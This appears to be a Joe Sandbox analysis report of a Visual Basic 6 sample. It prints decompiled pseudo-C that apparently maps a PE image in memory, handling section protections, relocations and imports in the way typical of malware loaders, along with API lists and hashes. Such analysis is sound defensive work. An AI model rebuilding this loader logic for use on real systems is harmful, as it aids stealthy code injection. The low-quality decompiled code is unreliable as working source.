																	_t280 =  *((intOrPtr*)( *_t565 + 0x48))(_t565, 0x1af6,  &_v284);
																	__eflags = _t280;
																	asm("fclex");
																	if(_t280 >= 0) {
																		_t403 = __imp____vbaHresultCheckObj;
																	} else {
																		_t403 = __imp____vbaHresultCheckObj;
																		 *_t403(_t280, _t565, 0x4104c8, 0x48);
																	}
																	__eflags =  *0x42aa34; // 0x27ef774
																	if(__eflags == 0) {
																		__imp____vbaNew2(0x4104d8, 0x42aa34);
																	}
																	_t566 =  *0x42aa34; // 0x27ef774
																	_t281 =  *((intOrPtr*)( *_t566 + 0x48))(_t566, 0x1af8,  &_v288);
																	__eflags = _t281;
																	asm("fclex");
																	if(_t281 < 0) {
																		 *_t403(_t281, _t566, 0x4104c8, 0x48);
																	}
																	_t540 = __imp____vbaI4Str;
																	_t286 = E00423FD0();
																	_t567 = _t286;
																	__imp____vbaFreeStrList(2,  &_v284,  &_v288, _v220, _v192,  *_t540(_v284,  *_t540(_v288)));
																	__eflags = _t567;
																	if(_t567 != 0) {
																		L134:
																		_t287 = _a4;
																		_push(0x423ca1);
																		 *_t287 = _t567;
																		return _t287;
																	} else {
																		__eflags = _v250 & 0x00000001;
																		if((_v250 & 0x00000001) == 0) {
																			_t288 =  *0x42aa34; // 0x27ef774
																			__eflags = _t288;
																			if(_t288 == 0) {
																				__imp____vbaNew2(0x4104d8, 0x42aa34);
																			}
																			_t568 =  *0x42aa34; // 0x27ef774
																			_t290 =  *((intOrPtr*)( *_t568 + 0x48))(_t568, 0x1af6,  &_v284);
																			__eflags = _t290;
																			asm("fclex");
																			if(_t290 < 0) {
																				 *_t403(_t290, _t568, 0x4104c8, 0x48);
																			}
																			_t291 =  *0x42aa34; // 0x27ef774
																			__eflags = _t291;
																			if(_t291 == 0) {
																				__imp____vbaNew2(0x4104d8, 0x42aa34);
																			}
																			_t569 =  *0x42aa34; // 0x27ef774
																			_t293 =  *((intOrPtr*)( *_t569 + 0x48))(_t569, 0x1af8,  &_v288);
																			__eflags = _t293;
																			asm("fclex");
																			if(_t293 < 0) {
																				 *_t403(_t293, _t569, 0x4104c8, 0x48);
																			}
																			_t297 = E00423FD0();
																			_t567 = _t297;
																			__imp____vbaFreeStrList(2,  &_v284,  &_v288, 0, _v192,  *_t540(_v284,  *_t540(_v288)));
																			__eflags = _t567;
																			if(_t567 != 0) {
																				goto L134;
																			}
																			_v276 = 3;
																			_push(0x423ca1);
																			return _t297;
																		}
																		_v276 = 3;
																		_push(0x423ca1);
																		return _t286;
																	}
																} else {
																	_v276 = 1;
																	_push(0x423ca1);
																	return _t278;
																}
															}
															__eflags = _t273;
															_v1552 = _t273;
															if(_t273 == 0) {
																L108:
																return _t564;
															} else {
																_push( &_v1560);
																_t304 = E00423F10(_t401, 0, _t536, 5);
																__eflags = _t304;
																if(_t304 != 0) {
																	__eflags = _v1560;
																	if(_v1560 <= 0) {
																		goto L108;
																	} else {
																		_t305 = _v1564;
																		__eflags = _t305;
																		if(_t305 <= 0) {
																			goto L108;
																		} else {
																			_t306 = _t305 + _t536;
																			__eflags = _t306;
																			if(_t306 < 0) {
																				goto L109;
																			}
																			_t588 = _t306;
																			_t307 = E004240A0( &_v1576);
																			_push(8);
																			_push(_t588);
																			_push(_t307);
																			E00424000();
																			__eflags = _v1592;
																			if(_v1592 == 0) {
																				goto L108;
																			} else {
																				_push(_t401);
																				while(1) {
																					_t453 = _v1572;
																					_t564 = _t588 + 8;
																					__eflags = _t564;
																					_t309 = _t453;
																					if(_t564 < 0) {
																						goto L109;
																					}
																					_t310 = _t309 - 8;
																					__eflags = _t310;
																					if(_t310 < 0) {
																						goto L109;
																					}
																					asm("cdq");
																					_t401 = _t310 - _t494 >> 1;
																					__eflags = _t401;
																					if(_t401 > 0) {
																						do {
																							_t502 =  &_v1568;
																							_t317 = E004240A0(_t502);
																							_push(2);
																							_push(_t564);
																							_push(_t317);
																							E00424000();
																							_t455 = _v1584;
																							asm("cdq");
																							_t494 = _t502 & 0x00000fff;
																							__eflags = (_t455 + _t494 >> 0x0000000c & 0x0000000f) - 3;
																							if((_t455 + _t494 >> 0x0000000c & 0x0000000f) == 3) {
																								_t457 = (_t455 & 0x00000fff) + _v1576;
																								__eflags = _t457;
																								if(_t457 < 0) {
																									goto L109;
																								}
																								_t458 = _t457 + _t536;
																								__eflags = _t458;
																								_push( &_v1580);
																								if(_t458 < 0) {
																									goto L109;
																								}
																								_t536 = _t458;
																								_t324 = E004240A0();
																								_push(4);
																								_push(_t536);
																								_push(_t324);
																								E00424000();
																								_t460 = _v1572 + _v1596;
																								__eflags = _t460;
																								_t494 =  &_v1596;
																								if(_t460 < 0) {
																									goto L109;
																								}
																								_v1580 = _t460;
																								_t326 = E004240A0(_t494);
																								_push(4);
																								_push(_t326);
																								_push(_t536);
																								E00424000();
																								_t536 = _v1316;
																							}
																							_t564 = _t564 + 2;
																							__eflags = _t564;
																							if(_t564 < 0) {
																								goto L109;
																							}
																							_t401 = _t401 - 1;
																							__eflags = _t401;
																							if(_t401 < 0) {
																								goto L109;
																							}
																							__eflags = _t401;
																						} while (_t401 > 0);
																						_t453 = _v1572;
																					}
																					_t454 = _t453 + _t588;
																					__eflags = _t454;
																					if(_t454 < 0) {
																						goto L109;
																					}
																					_t588 = _t454;
																					_t313 = E004240A0( &_v1576);
																					_push(8);
																					_push(_t588);
																					_push(_t313);
																					E00424000();
																					__eflags = _v1592;
																					if(_v1592 != 0) {
																						continue;
																					}
																					__eflags = 0;
																					return 0;
																					goto L136;
																				}
																				goto L109;
																			}
																		}
																	}
																} else {
																	return 2;
																}
															}
														} else {
															return 1;
														}
													} else {
														_t562 = _t268;
														while(1) {
															_v1256 = _t562;
															_t330 = E004240A0( &_v1276);
															_push(0x14);
															_push(_t562);
															_push(_t330);
															E00424000();
															__eflags = _v1292;
															_t333 = _v1280;
															if(_v1292 != 0) {
																goto L60;
															}
															__eflags = _v1260;
															if(_v1260 != 0) {
																goto L60;
															} else {
																__eflags = _v1268;
																if(_v1268 != 0) {
																	goto L60;
																} else {
																	__eflags = _t333;
																	if(__eflags != 0) {
																		L61:
																		if(__eflags <= 0) {
																			goto L76;
																		} else {
																			_t334 = _t333 + _t532;
																			__eflags = _t334;
																			if(_t334 < 0) {
																				goto L81;
																			} else {
																				_push(_t334);
																				_t401 = E00424030();
																				__eflags = _t401;
																				if(_t401 == 0) {
																					return 5;
																				} else {
																					_t577 = _v1276;
																					__eflags = _t577;
																					if(_t577 == 0) {
																						_t577 = _v1260;
																					}
																					_t562 = _t577 + _t532;
																					__eflags = _t562;
																					_push( &_v1284);
																					if(_t562 < 0) {
																						goto L81;
																					} else {
																						_t337 = E004240A0();
																						_push(4);
																						_push(_t562);
																						_push(_t337);
																						E00424000();
																						_t339 = _v1300;
																						__eflags = _t339;
																						while(__eflags != 0) {
																							if(__eflags >= 0) {
																								_t340 = _t339 + 2;
																								__eflags = _t340;
																								if(_t340 < 0) {
																									goto L81;
																								} else {
																									_t341 = _t340 + _t532;
																									__eflags = _t341;
																									if(_t341 < 0) {
																										goto L81;
																									} else {
																										goto L72;
																									}
																								}
																							} else {
																								_t341 = _t339 & 0x0000ffff;
																								L72:
																								_push(_t341);
																								_push(_t401);
																								_t342 = E00424040();
																								_t562 = _t562 + 4;
																								__eflags = _t562;
																								_v1288 = _t342;
																								_push( &_v1292);
																								if(_t562 < 0) {
																									goto L81;
																								} else {
																									_t344 = E004240A0();
																									_push(4);
																									_push(_t562);
																									_push(_t344);
																									E00424000();
																									_t346 = E004240A0( &_v1296);
																									_push(4);
																									_push(_t346);
																									_t507 = _v1280 + _t532;
																									__eflags = _t507;
																									if(_t507 < 0) {
																										goto L81;
																									} else {
																										_push(_t507);
																										E00424000();
																										_t349 = _v1272 + 4;
																										__eflags = _t349;
																										if(_t349 < 0) {
																											goto L81;
																										} else {
																											goto L75;
																										}
																									}
																								}
																							}
																							goto L136;
																							L75:
																							_v1260 = _t349;
																							_t339 = _v1284;
																							__eflags = _t339;
																						}
																						goto L76;
																					}
																				}
																			}
																		}
																	} else {
																		__eflags = _v1272;
																		if(_v1272 == 0) {
																			__eflags = 0;
																			return 0;
																		} else {
																			L76:
																			_t562 = _v1256 + 0x14;
																			__eflags = _t562;
																			if(_t562 < 0) {
																				goto L81;
																			} else {
																				continue;
																			}
																		}
																	}
																}
															}
															goto L136;
															L60:
															__eflags = _t333;
															goto L61;
														}
													}
												}
											}
										} else {
											return 2;
										}
									}
								} else {
									return 1;
								}
							} else {
								_t354 = _t259 + 0x14;
								__eflags = _t354;
								if(_t354 < 0) {
									goto L44;
								} else {
									_t355 = _t354 + _t491;
									__eflags = _t355;
									if(_t355 < 0) {
										goto L44;
									} else {
										_t529 = _t355;
										_t357 = _v922 - 1;
										__eflags = _t357;
										if(_t357 < 0) {
											goto L44;
										} else {
											_t588 = _t357;
											__eflags = _t588;
											if(_t588 < 0) {
												return 0;
											} else {
												while(1) {
													_t359 = E004240A0( &_v968);
													_push(0x28);
													_push(_t529);
													_push(_t359);
													E00424000();
													_t361 = _v948;
													__eflags = _t361 & 0x20000000;
													if((_t361 & 0x20000000) == 0) {
														__eflags = _t361 & 0x40000000;
														if((_t361 & 0x40000000) == 0) {
															asm("sbb eax, eax");
															_t365 = ( ~(_t361 & 0x80000000) & 0x00000007) + 1;
															__eflags = _t365;
														} else {
															asm("sbb eax, eax");
															_t365 = ( ~(_t361 & 0x80000000) & 0x00000002) + 2;
														}
													} else {
														__eflags = _t361 & 0x40000000;
														if((_t361 & 0x40000000) == 0) {
															asm("sbb eax, eax");
															_t365 = ( ~(_t361 & 0x80000000) & 0x00000070) + 0x10;
														} else {
															asm("sbb eax, eax");
															_t365 = ( ~(_t361 & 0x80000000) & 0x00000020) + 0x20;
														}
													}
													_push(E004240A0( &_v972));
													_push(_t365);
													_t561 = _v680;
													_t467 = _v960 + _t561;
													__eflags = _t467;
													_push(_v964);
													if(_t467 < 0) {
														goto L44;
													}
													_push(_t467);
													_t368 = E00423FE0();
													__eflags = _t368;
													if(_t368 == 0) {
														return 4;
													} else {
														_t529 = _t529 + 0x28;
														__eflags = _t529;
														if(_t529 < 0) {
															goto L44;
														} else {
															_t401 = _t401 + 1;
															__eflags = _t401;
															if(_t401 < 0) {
																goto L44;
															} else {
																__eflags = _t401 - _t588;
																if(_t401 <= _t588) {
																	continue;
																} else {
																	__eflags = 0;
																	return 0;
																}
															}
														}
													}
													goto L136;
												}
												goto L44;
											}
										}
									}
								}
							}
						} else {
							return 1;
						}
					}
				} else {
					E00423FC0(_t227, _t227);
					asm("wait");
					_t586 = __imp____vbaFreeVar;
					 *_t586(0x423337);
					 *_t586();
					 *_t586();
					return  *_t586();
				}
				goto L136;
			}

0x004230d0
0x004230d1
0x004230d3
0x004230e2
0x004230e9
0x004230f2
0x004230f5
0x004230fc
0x0042310c
0x0042310c
0x00423118
0x0042311b
0x0042311e
0x00423124
0x0042312a
0x00423130
0x00423136
0x00423138
0x0042313e
0x00423144
0x0042314a
0x00423150
0x00423156
0x00423167
0x00423170
0x00423186
0x0042318c
0x00423192
0x004231a2
0x004231b2
0x004231b5
0x004231bc
0x004231c8
0x004231d7
0x004231d7
0x004231d9
0x004231e0
0x004231f2
0x004231fc
0x00423204
0x00423205
0x00423206
0x00423211
0x00423213
0x0042321e
0x0042321f
0x0042322a
0x0042322b
0x00423236
0x00423237
0x00423242
0x00423243
0x00423248
0x0042324d
0x0042324f
0x00423254
0x00423255
0x00423256
0x00423256
0x0042325b
0x00423261
0x00423270
0x0042327a
0x0042327c
0x00423282
0x0042328d
0x0042328d
0x00423293
0x004232ab
0x004232b5
0x004232bf
0x004232cd
0x004232ce
0x004232d4
0x00000000
0x00000000
0x004232d6
0x004232d6
0x004232ea
0x004232ea
0x004232ec
0x00423351
0x0042335d
0x00423368
0x00423369
0x0042336d
0x0042336e
0x00423372
0x00423373
0x0042337c
0x0042339a
0x0042339a
0x0042339c
0x0042339e
0x004233a0
0x004233a4
0x004233b1
0x004233b4
0x004233bd
0x004233be
0x004233c0
0x004233c1
0x004233c2
0x004233c3
0x004233c8
0x004233cd
0x00423425
0x00423425
0x00423427
0x00423429
0x00423429
0x0042342e
0x00423430
0x00423437
0x0042343c
0x0042343e
0x0042343f
0x00423440
0x00423440
0x0042344a
0x0042344f
0x00423455
0x00423456
0x00423457
0x00423460
0x00423468
0x0042346c
0x00423471
0x00423473
0x00423478
0x00423479
0x00423483
0x00423488
0x0042348e
0x0042348f
0x00423490
0x0042349a
0x0042349f
0x004234a5
0x004234a6
0x004234a7
0x004234b0
0x004234b5
0x004234ba
0x004234bc
0x004234c1
0x004234c2
0x004234d2
0x004233cf
0x004233cf
0x004233d3
0x004233d3
0x004233d6
0x00000000
0x00000000
0x004233dc
0x004233de
0x004233e2
0x004233e4
0x004233e9
0x004233ea
0x004233ec
0x004233ed
0x004233ed
0x004233f2
0x004233fb
0x004233fc
0x004233fe
0x00423404
0x00423406
0x00423413
0x00423414
0x00423415
0x00423416
0x00423418
0x00423419
0x0042341e
0x00423423
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00423423
0x004234d5
0x004234e6
0x004234e7
0x004234e8
0x004234e9
0x004234f5
0x004234f7
0x004234fe
0x00423502
0x00423502
0x00423502
0x0042350f
0x00423511
0x00423515
0x00423517
0x0042351c
0x0042351e
0x00423532
0x00423537
0x00423537
0x0042353a
0x00423647
0x00423647
0x00423656
0x00423657
0x00423658
0x00423664
0x00423664
0x00423666
0x0042366d
0x00423671
0x00423677
0x0042367f
0x00423681
0x00423685
0x00423689
0x0042368b
0x0042368f
0x00423693
0x00423697
0x0042369b
0x004236a0
0x004236a2
0x004236b5
0x004236bd
0x00423838
0x00423843
0x004236c3
0x004236c7
0x004236cb
0x004236d0
0x004236d2
0x004236e9
0x004236eb
0x00000000
0x004236f1
0x004236f1
0x004236f5
0x004236f7
0x00000000
0x004236fd
0x004236fd
0x004236fd
0x004236ff
0x00423846
0x00423846
0x00423856
0x00423857
0x00423858
0x00423864
0x00423864
0x00423866
0x00423873
0x00423875
0x00423879
0x0042387d
0x0042387f
0x00423883
0x00423887
0x0042388b
0x0042388f
0x00423894
0x00423896
0x004238a9
0x004238af
0x004238af
0x004238b1
0x00423a29
0x00423a29
0x00423a30
0x00423a33
0x00423a36
0x00423a41
0x00423a42
0x00423a4f
0x00423a50
0x00423a51
0x00423a52
0x00423a55
0x00423a69
0x00423a76
0x00423a78
0x00423a7e
0x00423a84
0x00423a8a
0x00423a8f
0x00423a91
0x00423aa7
0x00423aad
0x00423ab9
0x00423ab9
0x00423abf
0x00423ad4
0x00423ad7
0x00423ad9
0x00423adb
0x00423af0
0x00423add
0x00423add
0x00423aec
0x00423aec
0x00423af6
0x00423afc
0x00423b08
0x00423b08
0x00423b0e
0x00423b23
0x00423b26
0x00423b28
0x00423b2a
0x00423b35
0x00423b35
0x00423b3d
0x00423b5f
0x00423b74
0x00423b76
0x00423b7f
0x00423b81
0x00423c7a
0x00423c7a
0x00423c7d
0x00423c82
0x00000000
0x00423b87
0x00423b87
0x00423b8e
0x00423ba4
0x00423ba9
0x00423bab
0x00423bb7
0x00423bb7
0x00423bbd
0x00423bd2
0x00423bd5
0x00423bd7
0x00423bd9
0x00423be4
0x00423be4
0x00423be6
0x00423beb
0x00423bed
0x00423bf9
0x00423bf9
0x00423bff
0x00423c14
0x00423c17
0x00423c19
0x00423c1b
0x00423c26
0x00423c26
0x00423c45
0x00423c5a
0x00423c5c
0x00423c65
0x00423c67
0x00000000
0x00000000
0x00423c69
0x00423c73
0x00000000
0x00423c73
0x00423b90
0x00423b9a
0x00000000
0x00423b9a
0x00423a93
0x00423a93
0x00423a9d
0x00000000
0x00423a9d
0x00423a91
0x004238b7
0x004238b9
0x004238bd
0x00423a1b
0x00423a26
0x004238c3
0x004238c7
0x004238cb
0x004238d0
0x004238d2
0x004238e5
0x004238e9
0x00000000
0x004238ef
0x004238ef
0x004238f3
0x004238f5
0x00000000
0x004238fb
0x004238fb
0x004238fb
0x00423901
0x00000000
0x00000000
0x00423908
0x0042390a
0x0042390f
0x00423911
0x00423912
0x00423913
0x00423918
0x0042391c
0x00000000
0x00423922
0x00423922
0x00423923
0x00423923
0x00423929
0x00423929
0x0042392c
0x0042392e
0x00000000
0x00000000
0x00423934
0x00423934
0x00423937
0x00000000
0x00000000
0x0042393d
0x00423942
0x00423944
0x00423946
0x0042394c
0x0042394c
0x00423951
0x00423956
0x00423958
0x00423959
0x0042395a
0x0042395f
0x00423965
0x00423966
0x00423974
0x00423976
0x00423982
0x00423982
0x00423988
0x00000000
0x00000000
0x0042398e
0x0042398e
0x00423990
0x00423991
0x00000000
0x00000000
0x00423997
0x00423999
0x0042399e
0x004239a0
0x004239a1
0x004239a2
0x004239af
0x004239af
0x004239b1
0x004239b5
0x00000000
0x00000000
0x004239b8
0x004239bc
0x004239c1
0x004239c3
0x004239c4
0x004239c5
0x004239ca
0x004239ca
0x004239d1
0x004239d1
0x004239d4
0x00000000
0x00000000
0x004239d6
0x004239d6
0x004239d9
0x00000000
0x00000000
0x004239db
0x004239db
0x004239e3
0x004239e3
0x004239e7
0x004239e7
0x004239ed
0x00000000
0x00000000
0x004239f0
0x004239f2
0x004239f7
0x004239f9
0x004239fa
0x004239fb
0x00423a04
0x00423a06
0x00000000
0x00000000
0x00423a0f
0x00423a18
0x00000000
0x00423a18
0x00000000
0x00423923
0x0042391c
0x004238f5
0x004238d4
0x004238e2
0x004238e2
0x004238d2
0x00423898
0x004238a6
0x004238a6
0x00423705
0x00423705
0x00423707
0x0042370b
0x00423710
0x00423715
0x00423717
0x00423718
0x00423719
0x00423722
0x00423724
0x00423728
0x00000000
0x00000000
0x0042372e
0x00423730
0x00000000
0x00423732
0x00423736
0x00423738
0x00000000
0x0042373a
0x0042373a
0x0042373c
0x00423751
0x00423751
0x00000000
0x00423757
0x00423757
0x00423757
0x00423759
0x00000000
0x0042375f
0x0042375f
0x00423765
0x00423767
0x00423769
0x00423827
0x0042376f
0x0042376f
0x00423773
0x00423775
0x00423777
0x00423777
0x0042377f
0x0042377f
0x00423781
0x00423782
0x00000000
0x00423788
0x00423788
0x0042378d
0x0042378f
0x00423790
0x00423791
0x00423796
0x0042379a
0x0042379c
0x0042379e
0x004237a7
0x004237a7
0x004237aa
0x00000000
0x004237b0
0x004237b0
0x004237b0
0x004237b2
0x00000000
0x00000000
0x00000000
0x00000000
0x004237b2
0x004237a0
0x004237a0
0x004237b8
0x004237b8
0x004237b9
0x004237ba
0x004237bf
0x004237bf
0x004237c2
0x004237ca
0x004237cb
0x00000000
0x004237cd
0x004237cd
0x004237d2
0x004237d4
0x004237d5
0x004237d6
0x004237e0
0x004237e5
0x004237e7
0x004237ec
0x004237ec
0x004237ee
0x00000000
0x004237f0
0x004237f0
0x004237f1
0x004237fa
0x004237fa
0x004237fd
0x00000000
0x00000000
0x00000000
0x00000000
0x004237fd
0x004237ee
0x004237cb
0x00000000
0x004237ff
0x004237ff
0x00423803
0x00423807
0x00423807
0x00000000
0x0042379c
0x00423782
0x00423769
0x00423759
0x0042373e
0x00423742
0x00423744
0x0042382c
0x00423835
0x0042374a
0x0042380b
0x0042380f
0x0042380f
0x00423812
0x00000000
0x00423814
0x00000000
0x00423814
0x00423812
0x00423744
0x0042373c
0x00423738
0x00000000
0x0042374f
0x0042374f
0x00000000
0x0042374f
0x00423707
0x004236ff
0x004236f7
0x004236d4
0x004236e2
0x004236e2
0x004236d2
0x004236a4
0x004236b2
0x004236b2
0x00423540
0x00423540
0x00423540
0x00423543
0x00000000
0x00423549
0x00423549
0x00423549
0x0042354b
0x00000000
0x00423551
0x00423551
0x00423558
0x00423558
0x0042355c
0x00000000
0x00423562
0x00423562
0x00423565
0x00423567
0x00423644
0x0042356d
0x0042356d
0x00423572
0x00423577
0x00423579
0x0042357a
0x0042357b
0x00423580
0x00423584
0x00423589
0x004235b4
0x004235b9
0x004235d3
0x004235d8
0x004235d8
0x004235bb
0x004235c2
0x004235c7
0x004235c7
0x0042358b
0x0042358b
0x00423590
0x004235aa
0x004235af
0x00423592
0x00423599
0x0042359e
0x0042359e
0x00423590
0x004235e5
0x004235e6
0x004235eb
0x004235f6
0x004235f6
0x004235f8
0x004235f9
0x00000000
0x00000000
0x004235fb
0x004235fc
0x00423601
0x00423603
0x00423635
0x00423605
0x00423605
0x00423605
0x00423608
0x00000000
0x0042360a
0x0042360a
0x0042360a
0x0042360d
0x00000000
0x0042360f
0x0042360f
0x00423611
0x00000000
0x00423617
0x0042361a
0x00423623
0x00423623
0x00423611
0x0042360d
0x00423608
0x00000000
0x00423603
0x00000000
0x0042356d
0x00423567
0x0042355c
0x0042354b
0x00423543
0x00423520
0x0042352f
0x0042352f
0x0042351e
0x004232ee
0x004232ef
0x004232f4
0x00423316
0x0042331f
0x00423324
0x0042332c
0x00423336
0x00423336
0x00000000

APIs

__vbaCheckTypeVar.MSVBVM60(?,00411A18,?,?), ref: 00423167
__vbaVarLateMemCallLd.MSVBVM60(?,?,hwnd,00000000), ref: 00423186
__vbaI4Var.MSVBVM60(?,00000001,?), ref: 004231A8
__vbaI4Var.MSVBVM60(?,00000000), ref: 004231B2
__vbaSetSystemError.MSVBVM60(00000000), ref: 004231BC
__vbaFreeVar.MSVBVM60 ref: 004231C8
__vbaVarMove.MSVBVM60 ref: 004231FC
#535.MSVBVM60(?,?,?,?,?,?,?,?), ref: 0042325B
__vbaVarMove.MSVBVM60 ref: 0042327A
#535.MSVBVM60 ref: 0042328D
__vbaVarSub.MSVBVM60(?,?,00000004), ref: 004232C5
__vbaVarTstLt.MSVBVM60(?,00000000), ref: 004232CF
#598.MSVBVM60 ref: 004232D6
__vbaFreeVar.MSVBVM60(00423337,?), ref: 0042331F
__vbaFreeVar.MSVBVM60 ref: 00423324
__vbaFreeVar.MSVBVM60 ref: 0042332C
__vbaFreeVar.MSVBVM60 ref: 00423334

Strings

hwnd, xrefs: 00423179

Memory Dump Source

Source File: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Free$#535Move$#598CallCheckErrorLateSystemType
String ID: hwnd
API String ID: 631025523-1070177613
Opcode ID: c0b122c8a111f0edc5e92aa2e3e53d813209fdaff6da07b4683dadb3b830457c
Instruction ID: fe5d10b2d917b570d85bf457c80aed235935dcd3a65971487dd3497630d20b78
Opcode Fuzzy Hash: c0b122c8a111f0edc5e92aa2e3e53d813209fdaff6da07b4683dadb3b830457c
Instruction Fuzzy Hash: 4D5149B1A00268ABDB20DF64DD85BDEB778EF88701F4044DAE509B7250DB785B85CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00417770, Relevance: 33.3, APIs: 22, Instructions: 277
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E00417770(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr* _a8) {
				intOrPtr* _v0;
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char _v36;
				intOrPtr _v40;
				void* _v44;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v64;
				intOrPtr _v68;
				char _v72;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				char _v104;
				char _v108;
				intOrPtr* _v140;
				intOrPtr* _v144;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				char _v176;
				intOrPtr _v180;
				intOrPtr _v184;
				char _v192;
				char _v196;
				intOrPtr _v212;
				void* _v280;
				intOrPtr* _v284;
				char _v296;
				intOrPtr _v300;
				intOrPtr _v304;
				char _v320;
				char _v324;
				intOrPtr _t96;
				void* _t102;
				intOrPtr _t103;
				void* _t106;
				char* _t108;
				char* _t110;
				void* _t111;
				intOrPtr* _t113;
				intOrPtr* _t116;
				void* _t120;
				intOrPtr* _t121;
				intOrPtr _t126;
				void* _t129;
				intOrPtr _t136;
				intOrPtr _t142;
				intOrPtr _t153;
				void* _t159;
				intOrPtr _t163;
				intOrPtr* _t169;
				intOrPtr* _t176;
				intOrPtr* _t177;
				intOrPtr* _t178;
				intOrPtr* _t179;
				intOrPtr* _t180;
				void* _t183;
				void* _t184;
				intOrPtr _t185;
				intOrPtr _t186;
				void* _t190;
				intOrPtr _t191;
				intOrPtr _t192;
				intOrPtr _t193;
				intOrPtr _t194;
				intOrPtr _t195;
				intOrPtr _t196;
				intOrPtr _t197;

				_t120 = __ebx;
				_t184 = _t190;
				_t191 = _t190 - 0xc;
				 *[fs:0x0] = _t191;
				_t192 = _t191 - 0x14;
				_v16 = _t192;
				_v12 = 0x401468;
				_v8 = 0;
				_t176 = _a4;
				 *((intOrPtr*)( *_t176 + 4))(_t176, __edi, __esi, __ebx,  *[fs:0x0], 0x401d26, _t183);
				_t6 = _t176 + 0x70; // 0x80001
				_v28 = 0;
				_v32 = 0;
				_v36 = 0;
				E0040F5DC();
				__imp____vbaSetSystemError( *_t6, 0xb0,  &_v28,  &_v32);
				_t126 = _v32 - _v28;
				if(_t126 < 0) {
					__imp____vbaErrorOverflow();
					0;
					_t185 = _t192;
					_t193 = _t192 - 0xc;
					 *[fs:0x0] = _t193;
					_t194 = _t193 - 0x10;
					_v92 = _t194;
					_v88 = 0x401470;
					_v84 = 0;
					_t177 = _v72;
					 *((intOrPtr*)( *_t177 + 4))(_t177, 0, _t176, __ebx,  *[fs:0x0], 0x401d26, _t184);
					_t26 = _t177 + 0x70; // 0x80003
					_v104 = 0;
					_v108 = 0;
					E0040F5DC();
					_t169 = __imp____vbaSetSystemError;
					 *_t169( *_t26, 0xb0,  &_v104,  &_v108);
					_t96 = _v104;
					_t129 = _t96 + _v68;
					_t33 = _t177 + 0x70; // 0x80003
					_t153 =  *_t33;
					if(_t129 < 0) {
						__imp____vbaErrorOverflow();
						_t186 = _t194;
						_t195 = _t194 - 0xc;
						 *[fs:0x0] = _t195;
						_t196 = _t195 - 0x48;
						_v164 = _t196;
						_v160 = 0x401478;
						_v156 = 0;
						_t178 = _v144;
						 *((intOrPtr*)( *_t178 + 4))(_t178, _t169, _t177, __ebx,  *[fs:0x0], 0x401d26, _t185);
						 *_v140 = 0;
						_t46 = _t178 + 0x70; // 0x4180df
						_v176 = 0;
						_v180 = 0;
						_v184 = 0;
						_v192 = 0;
						_v196 = 0;
						_v212 = 0;
						E0040F5DC();
						__imp____vbaSetSystemError( *_t46, 0xb0,  &_v176,  &_v192);
						_t102 =  *((intOrPtr*)( *_t178 + 0x860))(_t178,  &_v196);
						if(_t102 < 0) {
							__imp____vbaHresultCheckObj(_t102, _t178, 0x40f460, 0x860);
						}
						_t179 = __imp____vbaStrMove;
						_v56 = 0;
						_t103 =  *_t179();
						__imp____vbaLenBstr(_v40);
						if(_t103 == 0) {
							L12:
							__imp____vbaStrCopy();
							goto L13;
						} else {
							_t136 = _v52;
							_t103 = _v36;
							_t159 = _t136 - _t103;
							if(_t159 < 0) {
								L15:
								__imp____vbaErrorOverflow();
								_t197 = _t196 - 0xc;
								 *[fs:0x0] = _t197;
								_v304 = _t197 - 0x18;
								_v300 = 0x401488;
								_v296 = 0;
								_t180 = _v284;
								_t106 =  *((intOrPtr*)( *_t180 + 4))(_t180, 0, _t179, _t120,  *[fs:0x0], 0x401d26, _t186);
								_v320 = 0;
								_v324 = 0;
								__imp____vbaStrCopy();
								_t78 = _t180 + 0x70; // 0x80001
								E0040F5DC();
								_t121 = __imp____vbaSetSystemError;
								 *_t121( *_t78, 0xc6, 0, 0);
								_t108 =  &_v324;
								__imp____vbaStrToAnsi(_t108, _v320);
								_t81 = _t180 + 0x70; // 0x80001
								E0040F5DC();
								 *_t121( *_t81, 0xc2, _t106, _t108);
								_t110 =  &_v320;
								__imp____vbaStrToUnicode(_t110, _v324);
								__imp____vbaFreeStr();
								__imp____vbaFreeStr(0x417ad5);
								return _t110;
							} else {
								if(_t159 <= 0) {
									goto L12;
								} else {
									_t163 = _v40;
									_t142 = _t136 - _t103;
									if(_t142 < 0) {
										goto L15;
									} else {
										_v64 = _t142;
										_t111 = _t103 + 1;
										_push( &_v72);
										if(_t111 < 0) {
											goto L15;
										} else {
											_v72 = 3;
											__imp__#631(_t163, _t111);
											_t103 =  *_t179();
											__imp____vbaFreeVar();
											L13:
											__imp____vbaFreeStr(0x4179ed);
											return _t103;
										}
									}
								}
							}
						}
					} else {
						E0040F5DC();
						 *_t169(_t153, 0xb1, _t96, _t129);
						_t113 = _v0;
						 *((intOrPtr*)( *_t113 + 8))(_t113);
						 *[fs:0x0] = _v28;
						return _v12;
					}
				} else {
					_v36 = _t126;
					_t116 = _a4;
					 *((intOrPtr*)( *_t116 + 8))(_t116);
					 *_a8 = _v36;
					 *[fs:0x0] = _v24;
					return _v8;
				}
			}

0x00417770
0x00417771
0x00417773
0x00417782
0x00417789
0x0041778f
0x00417792
0x0041779b
0x0041779e
0x004177a4
0x004177a7
0x004177b8
0x004177bb
0x004177be
0x004177c1
0x004177c6
0x004177d2
0x004177d4
0x00417800
0x0041780c
0x00417811
0x00417813
0x00417822
0x00417829
0x0041782f
0x00417832
0x0041783b
0x0041783e
0x00417844
0x00417847
0x00417858
0x0041785b
